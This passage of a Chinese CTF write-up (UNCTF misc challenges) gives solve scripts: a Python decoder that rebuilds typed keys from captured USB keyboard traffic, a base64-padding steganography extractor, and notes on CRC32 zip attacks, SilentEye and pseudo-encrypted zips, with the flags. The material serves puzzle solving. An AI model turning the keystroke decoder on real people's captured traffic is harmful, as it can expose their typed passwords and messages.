normalKeys = {"04":"a", "05":"b", "06":"c", "07":"d", "08":"e", "09":"f", "0a":"g", "0b":"h", "0c":"i", "0d":"j", "0e":"k", "0f":"l", "10":"m", "11":"n", "12":"o", "13":"p", "14":"q", "15":"r", "16":"s", "17":"t", "18":"u", "19":"v", "1a":"w", "1b":"x", "1c":"y", "1d":"z","1e":"1", "1f":"2", "20":"3", "21":"4", "22":"5", "23":"6","24":"7","25":"8","26":"9","27":"0","28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"\t","2c":"<SPACE>","2d":"-","2e":"=","2f":"[","30":"]","31":"\\","32":"<NON>","33":";","34":"'","35":"<GA>","36":",","37":".","38":"/","39":"<CAP>","3a":"<F1>","3b":"<F2>", "3c":"<F3>","3d":"<F4>","3e":"<F5>","3f":"<F6>","40":"<F7>","41":"<F8>","42":"<F9>","43":"<F10>","44":"<F11>","45":"<F12>"}
shiftKeys = {"04":"A", "05":"B", "06":"C", "07":"D", "08":"E", "09":"F", "0a":"G", "0b":"H", "0c":"I", "0d":"J", "0e":"K", "0f":"L", "10":"M", "11":"N", "12":"O", "13":"P", "14":"Q", "15":"R", "16":"S", "17":"T", "18":"U", "19":"V", "1a":"W", "1b":"X", "1c":"Y", "1d":"Z","1e":"!", "1f":"@", "20":"#", "21":"$", "22":"%", "23":"^","24":"&","25":"*","26":"(","27":")","28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"\t","2c":"<SPACE>","2d":"_","2e":"+","2f":"{","30":"}","31":"|","32":"<NON>","33":"\"","34":":","35":"<GA>","36":"<","37":">","38":"?","39":"<CAP>","3a":"<F1>","3b":"<F2>", "3c":"<F3>","3d":"<F4>","3e":"<F5>","3f":"<F6>","40":"<F7>","41":"<F8>","42":"<F9>","43":"<F10>","44":"<F11>","45":"<F12>"}
nums = []
keys = open('out.txt')
for line in keys:
if len(line)!=17: #首先过滤掉鼠标等其他设备的USB流量
continue
nums.append(line[0:2]+line[4:6]) #取一、三字节
keys.close()
output = ""
for n in nums:
if n[2:4] == "00" :
continue
if n[2:4] in normalKeys:
if n[0:2]=="02": #表示按下了shift
output += shiftKeys [n[2:4]]
else :
output += normalKeys [n[2:4]]
else:
output += ''
print('output :' + output)
#<DEL><RET>andbest
得到flag
UNCTF{TOM_AND_JERRY_BEST_FRIENDS}
贝斯家族的侵略
明文
flag是很明显的base64隐写
python2
b64chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
s = ''
iii = 0
with open('flag', 'rb') as f:
bin_str = ''
for line in f.readlines():
stegb64 = ''.join(line.split())
rowb64 = ''.join(stegb64.decode('base64').encode('base64').split())
offset = abs(b64chars.index(stegb64.replace('=', '')[-1]) - b64chars.index(rowb64.replace('=', '')[-1]))
equalnum = stegb64.count('=')
if equalnum:
bin_str += bin(offset)[2:].zfill(equalnum * 2)
s = ''.join([chr(int(bin_str[i:i + 8], 2)) for i in xrange(0, len(bin_str), 8)])
print s
得到一串数字,hex一下,保存下来
文件尾显示原文件名为macro.mrd,实在不好意思以前做题的时候设置了默认打开方式
打开画图,用marco recorder打开mrd文件play一下
flag{b4s3_1s_v3ry_g0od!!}
峰回路转
这道题如果不给hint的话,有解的概率几乎为0
2.txt和3.txt大小为4字节,明显的CRC32攻击
得到密码P@SsW0RD
只能解压出bmp,然后根据提示能够知道用的silenteye,密码依旧是P@SsW0RD
看好你 屁用没有,flag.txt是伪加密,得到3(%2 .V%QSQTP KRPV_K" 'RKPWS KWQ%Q'W$QWPS".
H->{}
UNCTF{0C75726F-4609-DFA4-615F-17C7A1B7165D}
*nanoNumble
比赛开始第三天就有人反馈过题目错了(因为很明显出题人在测试的时候将MAX_LEVEL改成了1)跟管理员反馈,直到比赛结束前一天晚上(17日晚)才将题目修改好,但是没关系,依旧没有做出来
和2022年2月当时做的wordle差不多一样,只不过unctf给出的是random.randint(0, 999),猜中的数字就为随机数的结果
当时我做的时候也是硬去做的
这道题虽说知道是改的,但不知道为什么第一反应仍然是老老实实去做。刚比完突然想起来是怎么个做法的
TQLCTF详细看https://codex.lemonprefect.cn/writeups/1st%20TQLCTF.html
尝试做了一个小时没做出来,等官解了